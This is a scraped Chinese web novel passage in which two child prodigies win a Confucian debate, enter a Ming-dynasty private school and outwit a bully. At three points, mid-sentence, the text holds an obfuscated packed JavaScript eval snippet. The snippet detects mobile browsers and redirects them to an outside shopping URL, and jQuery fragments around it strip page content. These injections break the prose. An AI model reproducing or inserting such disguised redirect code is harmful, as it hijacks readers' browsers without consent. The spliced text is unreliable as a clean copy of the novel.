“孟子又曰‘人之所以异于禽兽者几希’,此‘几希’便是良知,即‘理’也。” 陈夫子言毕,多数学子皆恍然大悟,夫子们捋着胡须颔首赞同。 “夫子,我有一问。”这是划水已久的郭嘉,他突然的开口打断了在场所有人的思绪。 陈夫子听闻,不知是因先前周盈展露了自己的才学,亦或是说,觉得二人或真有些天资在,便语气缓和了一些。 “请讲。” 郭嘉微微一笑,随后眼睛微眯,舔唇而启: “敢问,今日之治国,可以‘性’为法,‘理’为矩?据我知,当今太祖以孝治天下,大明律冠以‘律法’一言。汉末枭雄可有一人谈‘理’,一人言‘良知’?到底是法先还是理先?亦或…法、后、礼?” 这话一出口,周盈都眉头一皱,郭奉孝这话实在是王炸,现今儒学皆因推崇孟子‘性善论’而阐发生长。但郭嘉所言之‘法后礼’,则是完全出自荀子。 而荀子的核心思想,是性恶论。 荀子有个很有名的后代,叫荀彧。 想到这,周盈心里一个咯噔,眼皮直跳,刚准备开口,果不其然就听到郭嘉又继续说道:“我再言,汉以孝治国而亡,孝是否为‘敬’为‘理?’曹魏唯才是举,群贤毕至,有荀彧、陈群…其‘理’何在?是谓‘经世致用’!” “荒唐!”一声呵斥,顿惊得广场所有人激灵。 且有不少人面色阴沉,目光直指郭嘉,空气间硝烟弥漫,只觉逼仄万分! 而那拍桌起身的夫子,却是原先坐在陈夫子身侧,一开始还帮着二人说话的那位。 其人姓章名徽,字景远,万历十三年举人出身。 其声如雷震震:“黄口小儿,安敢妄议荀卿!诋毁圣学?尔欲效曹魏行霸道之术乎?!” 不少人见夫子如此震怒,颇有心跳如鼓的悚然,张岱皱紧眉,少有的陷入了什么沉思一般。他本就不是掉书袋的文人书生,理学心学这些儒学,学归学,但圣人的书用起来嘛… “简直满口胡邹!四岁小儿懂什么圣人之学!”一侧的沈越脸色微变,他周围几个人也都是愤愤不平的。 “我就说,这所谓‘神童’,也不过沽誉钓名,博人眼球而已!” 本还陷入沉思的张岱,被这么一句话打岔,搅乱了思绪,侧眼瞥他之时,颇带了几分不虞。 “哦?青山兄是觉,荀卿亦不过‘胡诌’?” “我、我没有这么说。” “那,这稚童无过,所言之物,大人又何必如此计较生气呢?” “还是说……青山兄是觉着四岁孩童之言,已入经纶之道了?” “……” 一时间,周围一众人哄堂大笑,这张岱说话,真是阴阳怪气如针扎一般,这不就是明摆着说:你沈青山说的不是荀子之过,那就是针对两个小孩了!你是大人吗? 如果你是大人,你计较两个孩子,说明这两个小孩说的学问已经和你一样了,如果不是…… “噗…”杨业轻咳一声。 “行了行了,都是同窗,何必如此较劲?” 沈越脸上青了一片,胸膛微微起伏间,那眼里头可谓是凶光毕露了! 张岱见此,哂笑了然,转头便也不再与此人计较。 且看回广场内,乌云压城了。那章夫子目光锐利起来,看着坐着的两个四岁小孩,心里不免诧异又忌惮。 要知道这个时候主流学问就是孟学,郭嘉直接搬出荀子,这完全就是踩在雷点上蹦跶了! 这会儿周盈心里头,颇有几分苦笑,呵呵…郭奉孝这家伙,真是,不鸣则已一鸣惊人。 也不看看场合,这时候适合这么说吗! “夫子莫急。”他心里头组织了一下话,赶忙起身。 嗯……就四岁小孩的身子来讲,小短腿站起来,也跟个小棉花团一样。 且听稚童声音软糯,水汪汪的大眼睛郑重其事的看着上方几个夫子道:“弟年幼性急,所言之冲撞实非本意。” “其所言‘经世致用’,亦非悖逆圣学。《尚书》云‘民惟邦本,本固邦宁’,孔子亦言‘因民之所利而利之’,嘉弟所年亦是‘固本’‘利民’之意。” 周盈这话说出来,郭奉孝心里哼哼两声,他就是单纯看这群侃侃而谈的死读书人不爽,嘴上说得好听,怎么不拿去做点实际的事情呢? 酸儒!果真空谈成风! 不过心里嘀咕归嘀咕,这会儿他是明白,自己方才为了炮轰在座的各位,说的话实在尖锐了一些,现在还得夹着尾巴做人呢……欸。 “好了,景远,你先坐下。”开口的是陈夫子,他脸色复杂多变,却并没有第一时间开口呵斥,这让周盈和郭嘉觉得稀奇。 看来此人虽是个老学究老顽固,却对学说之道要宽容得多些。 陈夫子捋了捋胡须,看了一眼广场之中的众位学子,随后深叹一口气,询问言:“既言‘格物’,如何又言荀卿呢?” 周盈垂眸,不过片刻答:“此地曰为‘知行广场’,阳明先生提倡‘知行合一’,我二者亦不过言‘知’需以‘行’来争。” “好!”一声喝彩,张岱鼓掌而起。周围一众人见状,不少也跟着兴起。 这一辩,令广场上不少学子各有所思,亦有的觉得荒谬,有的深思,有的不解。 张岱这一打岔,让一众夫子一时间也不知要如何判决此番辩论。 几人交头接耳间,那陈夫子却是坐的笔直,目光只看着周盈和郭嘉二人,见这两位四岁孩童。 稚嫩之言却含钻心叩问,言辞清晰有条理,可见是真有本事,而非博名声。 其实从一开始,陈夫子只觉得这一出荒唐戏,是两个孩子背后的寡母出的招,借孩子的名声做招牌。 毕竟商贾素来唯利是图,这不奇怪。但此时此刻,他也有些沉疑于此。 坐在上方的夫子们安静了下来。 “今日之辩,机锋迭起,引经据典,周、郭二童确有聪颖,非寻常童子可比。” 陈夫子话锋一转,严厉陡然:“然,学问之道,重根基,求稳健,忌好高骛远!尔二人学之驳杂,性跳跃。” “潘岳私塾乃潜心学习之地,非逞口舌之快!” 说到这儿,陈夫子目光一转,瞥了一眼沈越、张岱等人,几人顿时站直了身子,心里不免期期。 “准尔等入学,且需从《小学》、《近思录》重新筑基,由我亲自督考。” 一语毕,广场内掌声响起,众学子亦是交头接耳,声音裹挟之下,周盈和郭嘉站起了身,行了一礼。 至此,山阴二位神童,却是真出名了! 陈夫子见两人生涩稚嫩的动作,眼中不易察觉闪过一丝笑意,不过很快严厉道:“书山有路勤为径,学海无涯苦作舟。勿要玩物丧志,弃前程功名不顾。” “是,老师教训,我等谨记。” 一场辩论落幕,坐在一侧的两位母亲眼眶微红,显然是心情激动。看了孩子全场的表现,周瑶心里可谓是情绪翻涌。 当即直接抱起小周盈,朝着那白嫩小脸蛋猛亲了一嘴。 吧唧! “吾儿天资聪颖,娘实在是为你感到骄傲。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542613|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>周盈…周盈僵硬成石头了…… 他的千年英明……好吧早就碎成渣渣了。但是能不能不要当着这么多人的面亲啊!孩子也是要点脸的! 且看小周盈皱紧了一张脸,糯米滋的白嫩脸蛋一红,随后死死埋在娘亲肩膀上。 一旁被牵着的郭嘉,心里实在是爆笑如雷了,憋着真难受! 围观的几个夫子你看我,我看你,神情也有些尴尬,这… “夫人,令郎聪慧,既已过入学考,明日便可送来读书了。”开口的是陈夫子。 这会儿的陈夫子语气也缓和了些,看着两个出了名的寡妇,以及两个天资非凡的孩子,他捋了捋胡须,叹息道:“倒是我固执了。” “夫子所言,咱们妇道人家可不敢接。”这话是郭怡笑着说的,周瑶这会儿察觉孩子害羞了,可不得逗逗小周盈嘛。 陈夫子颔首一笑,亦不再多言。 碍于今天小周盈、小郭嘉表现极好,两个母亲给买了糖葫芦、龙须酥等等小零食,但一日又不给多吃! 因为晚上要吃红烧肉。 回到家里,两个母亲出去招呼人去了,杀鸡杀鸭什么的也都弄了起来,关于明日拜师的束脩也得准备好。 左右邻里听了消息都过来给两个母亲道喜呢,外头实在热闹。 但屋里头,两个面对面坐着的小孩,目光透露出几分理所当然的傲娇。 “你方才所言,实在出格。” “难道我说的不对吗?”郭奉孝觉得自己说的还不够尖锐呢。 周盈对这人性子都无语了,要不是自己脑子转得快,到时候收不了场,两个人可真就身败名裂,成了沽誉钓名之辈。 “对也不是如今能说的,儒学之道还不是我们现在能置喙的。” “欸,要我说,这理学心学说的是神叨叨,可总归而言,跟那佛道之说又有什么区别?” 郭奉孝一针见血了。 因为宋明理学盛行起来的最重要原因就是,要打压抑制隋唐日渐兴起的佛道之说。 “总归是换汤不换药,倒还没有荀卿之言听的人舒坦。” 这话一说出来,周盈皱了眉来,心学在明后期日渐兴盛,但随之而来的最大问题就是空谈盛行。 都说文人误国,误国的便是这帮空谈心性,不懂治国的酸儒书生了。 即明亡之后,荀学却也因这巨大教训,兴盛了一段时间。 嗯……那个时候的文人口号是:经世致用。 “此事还需从长计议,如今你我二人方入私塾,暂先蛰伏吧。” 郭奉孝撇嘴,行吧,人在屋檐下,不得不低头! 小话揭过,当夜一家人吃了一顿非常之丰盛的晚饭,总之郭奉孝吃的挺撑的,要是有酒就更好了。 周盈都无语了,你才几岁就想着喝酒了?郭娘要是知道,非把你屁股揍开花不可。 关于束脩,是每个孩童入私塾亦或是拜师的时候都必须要准备的东西。 一块束帛,一壶孩儿笑,一把时新蔬果。寓意醇厚教导,情谊长久。 在此之外周盈和郭怡还准备了雉鸡、贽敬,也算是极为郑重了。 灯下,两个母亲将东西小心翼翼放进竹篮,眼里满含对未来的希望。 第二日一早,两个小孩就被送到了私塾门口,比起昨日的拘谨,今日周瑶和郭怡也都自在了一些。 “去吧,记得等会儿把篮子里的东西,给夫子,别忘了。” “知道了知道了。”郭嘉觉得娘亲/周娘吩咐的他耳朵都要起茧子了, 周盈拎起另一个篮子,两个小孩摇摇晃晃的,就走进了门。 潘岳私塾内,此时此刻已安静下来,时不时有朗读声音传来,这会儿已经到了早课的时间。 陈夫子见着两个四岁大的小孩,一人拎着一个篮子,颇为诧异,忙走过来弯腰:“咦?怎只有你二人?” “夫子,给!”郭嘉却不言,只一伸手将篮子递给了陈夫子。 紧随其后的周盈也递了过去。 陈夫子稀奇,拿住两个篮子,大约也是明白了些什么,无奈笑叹了一声。 “走吧,进屋里去吧。” 13. 第 13 章 私塾启蒙的班级,叫做蒙童班。潘岳私塾的蒙童班约莫一个班级十二人左右。 刚跟着陈夫子走进门,便听一道冷哼声音响起。 “哼!” 郭嘉诧异的转头看过去,正巧就和门口坐着的那个小孩对视上了。 这人一身绫罗绸缎,圆滚滚的身体坐在椅子上,颇有点…如膨胀起来的河豚。 浑身刺。 “噗……”对不起,郭奉孝有点忍不住。 “你!”那小孩先是愣了一下,随后勃然大怒!瞪圆的眼珠子里头直勾勾盯着郭嘉,恨不得啖食其肉! “肃静。”陈夫子皱眉,看了两人一眼,那小孩闻言,脸上不满,如干瘪下去的河豚般,转头冷哼。 郭嘉转头看着周盈,两人眼里都是疑惑和稀奇。 郭奉孝曰:我没招他惹他吧?比他聪明都不行吗?真小气。 周盈:……你少说两句吧。 站在最前面的陈夫子看了一眼屋内的所有孩子,随后开口道:“先停下。” 不少小萝卜头一听闻,便都停下了装模作样的读书,抬起头,两眼冒出精光,朝着周盈和郭嘉二人看过去。 “这两位,就是今天新来的同学,你们要好好相处,好好学习,切勿因其后来,而欺负排挤。” “去吧,找个位置坐下。”陈夫子与二人言。 于是周盈和郭嘉看了一圈周围,有的穿的富贵,一脸不屑,有的穿着朴素,倒是满脸好奇。 看来这小小学堂,也跟社会一般啊。 二人干脆找了后排座位,互为同窗坐下,这地方好,摸鱼开小差,那都不容易被发现。 “周盈,你来这。”陈夫子眼光老辣,看出两人想法后,眯起眼,捋着胡须,另一只手指了指自己跟前空着的位置。 这里,是班级里,所有小孩都避之不及的位置。 因为它离老师最近,一进门就看的一清二楚,完全没办法装模作样开小差。 周盈见此,心里不免无语。 这明晃晃的,郭奉孝更像个容易开小差的人,怎就非得逮着他薅呢? 站起身见着郭嘉那爱莫能助中,带着几分戏谑的目光,周盈只好拿着书,默默走到了位置坐下。 “郭嘉。” “啊、啊?” 眼看着坐在后排的小孩儿,眼里一副茫然、单纯、真挚且傻白甜的目光,陈夫子皱了皱眉。 夫子不言,屋内气氛一时间沉默。 一转身,走到一侧,拿起书本的陈夫子突然又道:“‘通有算略,达于事情’。你可知出自何处?所言为谁?” “……” “……” 别误会,这一个省略号是周盈,一个省略号是班级里的小不点儿们。 至于郭嘉? 郭嘉曰:阿巴巴巴巴… 他觉得,很尴尬。 “夫子所言,在下不知。”知道也不能说啊!好尴尬的,这就等于有人在你面前吹你自己,然后你还必须点评一下他吹的怎么样。 郭奉孝虽然很自傲,但、但这种事儿……他做不到啊! “哦?昨日你在广场侃侃而谈,言汉以孝治国,曹魏唯才是举,今日却言,不知此语之评为谁?” “……” “想必,昨日你是胡诌?” “……”郭奉孝皱眉,显然有点不爽了。你可以看他不爽,但不能说他胡诌! “夫子,敢问此言,与今日蒙学可有关系?” “自是有的。”陈夫子闻言,目光透露出几分不易察觉的笑,颇反将一军般,把手上的书籍举起。 其上曰《三国志》。 “?”郭奉孝真觉得莫名其妙了,难道今天学的不是《小学》吗? 坐在陈夫子眼皮子底下的周盈,心里无奈叹了口气,啧…怎么没想到这个陈夫子,还这么小心眼的呢,昨儿个郭嘉口出狂言,今日倒是被他逮住马脚了。 只心里暗自祈祷郭嘉能忍住那狂脾气,千万别怼起来。 屋里的小孩们都看向坐在后排的郭嘉。且看那小孩穿着柔软棉布衣衫,干净整洁,整个人透露出一股机灵劲儿,一双黑眼一转,眼睛微亮。 “我知道,是言……郭嘉的。”呵呵…真尴尬的抠脚。 “嗯。”陈夫子颔首一笑。 “我为什么说这句话?” “……因为名字。” “你很聪明,但还有一个意思,天妒英才。切记勿狂勿躁!” 郭奉孝撇撇嘴,面上一副恍然大悟,实则心里早已嘀咕,呸呸呸!什么天妒英才,难听! 一番插曲揭过,今天的第一堂课总算是开始了。 “今天,我们不讲《小学》,来讲《三国志》。” “……”真是没完没了了! 周盈忍俊不禁,无奈摇头翻起桌上的书,心想这陈夫子,在教学上倒也并非古板不变嘛。 课堂总归是枯燥的,陈夫子就《三国志》发表言论曰:备,仁厚而善识人。操,机谲而善任人。二者皆当世奇雄,然成败殊途,何故?备因仁而困,失于情。操因机而变,失于仁。” “今后人,当引以为戒,勿要失仁,亦勿困于情,此便为格物知理,察理明心。” 他说完这会儿,低头看了一眼郑重其事,一派老成的周盈。 周盈:……阿巴巴巴,你说的都对! 陈夫子见他深思,颇为满意的颔首捋须,很显然,现在的儒学大夫们,对比起郭嘉这种狂放不羁的顽童,更喜欢的是周盈这种看起来乖乖的、端庄的。 不过这话要是让郭奉孝知道,大概要笑喷,此为小插曲。 下了课,夫子前脚刚离开,屋里头就全热闹了起来。 也就几岁大的小孩,坐是端坐不住的,忍到现在早就是极限了。 周盈收拾收拾书,只觉得这读书读的怎么这么无聊呢……能不能跳级啊? 也就在他沉思间,突闻“砰——!” 一声响起,一只圆滚滚的小胖手,直接拍在了郭嘉的桌前。 众人目光转过去,便见坐在桌前的小郭嘉,一副茫然状态,似乎有些疑惑,抬头一看,便是方才那气成河豚的小孩儿。 “你就是郭嘉?” “……?”郭奉孝觉得这人脑子有病。 “问你话呢!”那小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542614|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 孩似乎感觉到被无视,颇为不爽,魄罗嗓子扯着喊道。 郭嘉觉得无语,这小娃娃脑子是真不好使,方才明明陈夫子都介绍过了,莫不是耳聋? “有事?” 且看他气定神闲,那小孩袖子一撩,左右一瞧:“按住他!” 嚯!不得了,这是要打架? 几个见怪不怪的小孩顿时起身躲远,这里好些出身不如何的小孩都被欺负过,因此也都不敢说什么。 郭嘉微诧异,见这几个小萝卜头这么嚣张,嘿!他来兴趣了。 “等会儿。” “怎么?怕了?怕就跪下!” 瞥了一眼屋门口进来的周盈,郭嘉坐在椅子上转了转毛笔,嘴角一翘,露出一颗嫩生生的小虎牙:“你我无冤无仇,为何从一开始进门,就如此敌视我?” “难道是因为……我太聪明了?所以你看我、不、爽?” 周盈无语,看了一眼边上站着的陈夫子,心想郭奉孝你还真是有够自恋的… “哼!你就是郭怡家那个小孩儿?我告诉你,你们娘俩从我家偷走的那些田!都是我的!” 哦? 此言一出,郭奉孝眼珠一转,脸色稍稍变了变,只冷笑一声:“郭氏的废物?” “你!” “我什么?怎么?你们家当年,非得盯着两个寡母欺负,这事儿可是闹得很大呢!如今街坊邻居都还知道的一清二楚!” 他说着微微凑过来,手指了指背后又道:“此事,陈夫子亦有所知。” 这话一出口,这郭地主家的傻儿子,郭元猛的转头看过去,便看到方才站在自己左右的几个孩子,这会儿全都乖乖坐在自己位置上。 而周盈,抱着胸,目光如看弱智一般看着他,只朝着陈夫子道:“夫子,此人从方才开始,便试图欺负我等。我等贫苦百姓与之虽为同窗,却也知‘君子和而不同,小人同而不和’。” 嗯……没错,面对此事,周盈非常可耻的选择了,打小报告。 毕竟这事儿最简单不费时间。 “你!”郭元面色涨红,气的发抖! 周围几个被他欺负过的孩子见此,都低着头偷乐呢。 陈夫子目光锐利,朝着他看来,那如针扎一般的眼神,叫郭元顿时芒刺在背,一下气焰消散,咬着下唇,满不服气。 “郭元,你是郭氏长子,如今既在私塾,便是学生,同窗之间,不可牵扯私人恩怨。” “抄《小学》三遍,放学前交给我。” “我、我!夫子!” “四遍。” 郭元顿时像焉了吧唧的小趴菜,恶狠狠瞪了郭嘉一眼。后者手搭在后脑勺上,翘着腿儿依着椅子,挑眉逗他:“地主家的傻儿子,抄书去吧,别写成泥鳅字了。” “噗……”顿时屋里头全是欢声笑语,乐不可支了。 周盈摇头,忍俊不禁。 走来坐到他边上:“你可收着点吧,我瞧那郭元怕是没完,咱们还得在这私塾待上一段时间,真闹大了,可收不了场。” “他先来招惹我的,关我什么事?” “周盈,你可别胳膊肘往外拐啊。” 14.第14章 这话一说,眼前白团子一般的小孩,眯起眼,纤长睫毛几乎遮住那水汪汪黑眼睛里头的几分薄愠。 “好好好!我知道了,欸……你真是,我是那种乱来的人吗?” 郭嘉无语,哼! 别人不招惹他自然是无事发生。 但郭元是谁?那是以前欺负过郭怡跟周瑶的郭氏长子! 这笔账,可海了去了! 眼瞧着郭奉孝眼睛心虚一瞥,周盈心里深叹了口气。 没辙,真没辙。 “你要是真不爽,我们可以想个法子,一劳永逸。” “嗯?”晃动的小腿一停,郭嘉转头,目光一凝,看着周盈之时,挑了挑眉。 对方侧头一瞥,纤长睫毛颤动间,嘴角浅浅一勾。 两只狐狸幼崽不知道是算计了什么,反正郭奉孝眉眼一弯,本就略翘的眼睛此时越发狡黠。 “好法子。” “??”路过的同窗学生瞧着两人突然对视一眼,突然相互一笑,简直是莫名其妙呢! 而一侧,正奋笔疾书的郭·地主家傻儿子·元,此时此刻把周盈和郭嘉,在心里翻来覆去的骂!真是可恶!两个卑贱的寒酸人,敢如此对他! 上午第二堂课,并非陈夫子教授,而是换了另一个人。 不过这堂课要显得无聊一些了,周盈翻开书随意扫了一眼,都是一些启蒙读书,他实在不想看。 欸…要是能多找找关于理学、心学的书籍经文就好了,他比较想把这两个流派吃透了,然后看看能怎么改。 想起先前郭嘉所言的荀学,周盈倒是皱起了眉。 “周盈。” 开小差的小孩顿了顿,抬起头看向夫子,纤长睫毛随着眨眼一颤一颤,不免显得可爱极了。 章夫子看着他道:“你来回答这个问题。” “……”行吧,又莫名其妙的被点名了。 两堂课匆匆而过,已至晌午。 私塾中午只提供蒸饭热饭的地方,并不提供午饭。毕竟算算人头下来,这也是一笔巨大的开销,一般只有那种顶尖的书院才会全部包圆了。 显然潘岳私塾并不是其中之一。 不过好在是私塾门口就是热闹街市,午饭时间一到,三三两两的学子便走出门,或是买点吃的,亦或是打个牙祭什么,总之因个人财力而选。 梆子一响,知行广场边上的树荫便热闹了起来,大多数学生都是自带的食盒,有的啃冷硬干粮,有的吃着泡饭。 郭元桌上则摆着三层朱漆食盒,刚由家仆送来,显然丰盛。几个围在他身边的狗腿谄媚非常。 周盈和郭嘉的食盒是双层的竹屉。 一打开,便有腌笋、红烧肉、呛蟹、毛豆、荷包蛋,以及一块烤好的番薯。菜肴映入眼帘,闻之让人食指大动。 “哼,寒酸人家,吃的也只能是寒酸菜了。”郭元鼻孔出气,说完这句话边上几个狗腿就跟着附和。 郭嘉翻了个白眼:能不能揍他一顿?好烦啊! 周盈拿起筷子,夹起笋咬了一口,咀嚼间俱是不急不缓,等咽下后才开口说道:“等会去张岱师兄那儿走走。” “嗯?去他那做什么?回谢吗?”毕竟是张岱推举的二人,若非如此,两人想进潘岳私塾,倒还真要麻烦些。 “这只是其一,其二……”话说到这,周盈顿了顿。 他……咬了口红烧肉。 “……”这说话真是急死个人! 郭奉孝没好气,了解周盈性子的人就知道了,这家伙外表看起来文静端庄,实际上坏的冒黑水呢。 “着什么急?事缓则圆。”笑得有些狡黠的周·糯米糍·盈,慢条斯理的吃完饭,便是一粒米饭都不落,堪称光盘大师。 郭嘉心想也是,于是低头,拿起筷子刚要准备吃,就见对方撩起袖子。 一只雪白的胳膊递到自己眼前,他有些迟疑的看着周盈。 “干嘛?” “打我。” “????”你什么情况?脑子抽风了? “让你打就打,打出印来。” 这边,两个小不点在那嘚不嘚不的盘算着什么。 而另一边,张岱如今头顶发髻,插着两根墨迹干了的毛笔,手上袖子撩起,白皙修长的手上沾了好些个墨迹,便是连那白皙的衣襟、袖子上都泼墨如“画”。 已过启蒙阶段,学识渊博的年长学子们所在的班级,叫做经馆。 “宗吕,上午夫子可还说了什么?你作业借我抄一下。” 嗯……张岱早上逃课了…然后被逮住了。 杨业见他这恨不得长出六只手的架势,颇忍俊不禁,坐在椅子上,手上翻了翻自己的书,随后丢到对方桌上。 他笑道:“你今日早上偷溜出去的事情,夫子早就发现了,还是想想等到下午要怎么解释吧。” “……”张岱一抬头,一双纤狭的瑞眼里头全是不可置信。 “我不是让你们帮我遮挡一二吗?” “嗯…”杨业耸肩,无奈道:“谁叫今日夫子突发奇想,非得临时改了课,变成了临场测验。” “…吾命将休!” “你快写吧,欸……叫你少和外头那些人鬼混,非是不听,如今倒好了?”杨业边说着,边给人磨着墨,另一只手抄起架子上挂着的毛笔,蘸了蘸墨递给对方。 至于午饭? 张岱实在是,没空吃啊。 拎着食盒,以及一坛孩儿笑,从经馆院外走进来的周盈,此时此刻吸引了不少人的目光。 “欸?小孩儿,这是经馆,蒙童班在那边。”好心的师兄指了指方向。 “多谢师兄,敢问张岱师兄的班级在哪儿?” 这穿着干净整洁,雪白如玉童子般的孩童行了一礼,生的端秀,一双眼睛带着几分笑意,便衬出些许的干净气质来。 见着如此,这位师兄亦颇为不好意思:“哦,你找宗子呀?来我带你去吧。” 周盈莞尔一笑。 好看的皮相,有时候真的能省去一番事。 经馆外梧桐树窸窸窣窣,来往的学子较之周盈大了一轮了,见着这么个小孩儿,亦颇为稀奇。 “欸?这就是昨日广场考试的那个‘神童’师弟吗?” “似乎是?” “周师弟怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549270|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 么来经馆这儿了?” 不少人好奇,走了过来,瞧着这雪白聪明的小孩儿,也都是颇觉有趣。 在这里的不少人都是专门求学来的,自然昨日周盈和郭嘉的一番辩论,让很多人颇为钦佩。再加之这两个小师弟如此年幼,聪明幼崽如此可爱,只让人觉得手痒。 周盈:你不要过来! 屋里,抄书的张岱被一阵嘈杂声吸引,下意识便抬头看向窗外,只见原先在外头的不少人都朝着一个方向走了过去,他皱了皱眉,只道这些人又是聚在一起,之乎者也的谈论什么大道理呢。 “嗯?那位是……”倒是杨业眼尖,一眼看着那被夹在人群中,穿着浅蓝色衣服,还提着食盒跟酒的周盈。 “宗子,好像是来找你的?” “啊?”张岱停下笔,一瞧。 哎哟,还真是。 这厢,被围的水泄不通的周盈都要下意识炸毛了! “小师弟好生聪慧!这模样亦可爱,还真是…” “你作甚?小师弟才几岁?你混球?” “呃…就想摸摸怎么了……” 周盈露出一个,尴尬且不失礼貌的微笑:“麻烦诸位师兄让一让。” “小师弟要找谁呀?师兄帮你去叫呗?” “不用了,我来了。”张岱声音响起,一众人这才转身。 见着了人,周盈可谓是跟见着救星了一样。不过他目光注意到对方的衣角、袖子上全是墨水,好好的程子衣全给祸祸了,目光一闪,随后笑着开口道:“张岱师兄,应当是还没吃饭?” “咦?你怎知道?”张岱觉得好奇。实则他身上邋遢的样子,半分风流贵公子的风度都无,早就出卖了他。 “这不巧了吗?我娘早上还和我说,家里做的小点心,得送些给师兄,还有新酿的孩儿笑呢。”说着话,这小糯米糍手上提着酒晃了晃,那绳子将白皙的小手都勒出红痕了! 张岱见着皱了皱眉,赶忙伸手接过:“师弟费心了。” “不妨事,若非师兄举荐,我与嘉弟想入私塾,还需多做周旋呢。” “小事而已,再说……若非小师弟天资非凡,我之举荐亦不能成的。”这话说的实在,昨日广场辩论,张岱实也学到良多,因而对周盈并无轻慢之意,毕竟入了私塾都是学生,大家都是师兄弟。 “来,在外头站着做什么,进屋。” 周盈颔首一笑,虽年纪小,倒还真有个小大人的样子,神气极了,把张岱逗的忍俊不禁。 二人一进了屋,里面的一众学子目光就全都看了过来。 “哎?周师弟!” “呀,年纪如此小,却能说出昨日那番话,倒还真是折煞我等了。” 一众人笑着调侃。 周盈大大方方,也跟着一笑行礼:“诸位师兄,我这个小大人,可算是有模有样了?” 大家伙都看的有趣,坐在一侧的杨业手剥着橘子,笑言:“真是个小妙人。” 塞进嘴一瓣,杨业朝着走过来的周盈伸出手。 “你别怕,这些人只是稀奇你。” 看到那橘子,周盈倒是怔了怔,接过谢言。 15.第 15 章 且看张岱放下食盒与酒,便又坐回位置上,手拿起毛笔奋笔疾书。 见桌上书籍铺满,周盈迟疑开口道:“张岱师兄,晌午不食饭吗?” “他呀?再不快点写,就要交不了差了。”路过的一个年轻学生笑着开口,显然和张岱关系还不错。 “再过些日子,便是咱们书院与隔壁余姚县,玉衡私塾辩考比赛的时候,你张岱师兄,如今偏还要逃学,被夫子逮着了,自是要吃苦头了。”杨业专拆张岱的台。 对方目露不善,却也没说什么,手中正紧赶慢赶的。 周盈垂眸思忖,低头从袖子里摸索着什么一般。 杨业好奇,咬着橘子瞧,不多时就看到这小家伙,从袖子里掏出了……一只毛笔。 因周盈实在手小,平日里的毛笔用起来,很难受,也不好用,但是他读书的时候就喜欢记点东西,写点什么的,所以周瑶就给他专门定制了小毛笔。 见到这,杨业轻笑出了声。 “好有趣的笔。” “杨师兄莫调侃我,实在是我的手,只能用这样的笔。”周盈颇有不好意思。 停下笔的张岱抬头,稀奇再三,想说什么,但是想想时间紧迫,只能继续低头开始猛写。 突见一只小手扯过书,随后拿着笔蘸了蘸墨水,接着笔锋,直接开始抄了起来。 “……”张岱惊的侧头与杨业对视。 对方摊手:“是周师弟心疼你,晌午不吃饭。你快点吃了再写吧。” 这话一说,张岱也是心中颇为感动了,浅叹一口气,见周盈笔墨,却自有一番飘逸出彩,并非随意涂写。拿起点心就着水,张岱看的都有些入神了。 不知不觉的,神童抄书就成了屋里的一番景色。只见四五岁的稚童,脸上专注,大眼睛一眨不眨盯着书面,而手中小毛笔却行云流水,奈何小手费力,鼻尖渗出些许细汗。 等周盈停了笔,一抬头,看见周围一群人围着,霎时没能反应过来。 “笔锋虽稚嫩,却已有神韵遒劲,小师弟这番年纪,便有如此能耐,真是…”杨业浅笑摇头。 坐在桌上,吃完点心的张岱,这会儿也不急着下午跟夫子交差了,他仿佛见着了什么稀罕物。 “字如其人。”张岱心想,自己这个年纪在干吗?好像……狗嫌人厌。 真是人比人,气死人呐。 “不敢,我这也就是随便一写而已。” “可别,这随便一写,能臊死咱们这些做师兄的了。” 边上众人忍俊不禁:“宗子所言是极了。” 周盈收了笔,垂眸一笑,不知在细想什么。见张岱要从桌上跳下,便伸手过去。 对方亦下意识的搭在他手臂上,一用力间,便听一声抽气响起。 “嘶…” 本就被众人关注的周盈皱起眉,似乎有些觉得失礼尴尬,手便想缩回去。 杨业眼疾手快,直接伸手一抓,紧接着捋起袖子一看。 一时间众人顿时讶然。 那截露的雪白手臂上,本该无瑕温软,但触目惊心的手指印、掐痕等,颇为狰狞的印在上方。 “这、这…” “简直丧心病狂!” 杨业神情顿时凝重,抿着唇时,皱眉细瞧周盈手臂上的伤势,手抓着不免松了劲儿,生怕抓疼了周盈。 “这是怎么回事?可是有人欺负你?”张岱上前一步,紧皱着眉,见着周盈脸上一闪而过尴尬之色,霎时一股怒气从心底升腾而出。 他不是没见过小孩儿打闹痕迹,但如此触目惊心的伤痕,真是丧心病狂了! “我…我没事的,师兄们不必太在意。”眼看着冰雪聪明的小师弟垂下长睫,眸子里一闪而过几分慌张和忐忑。 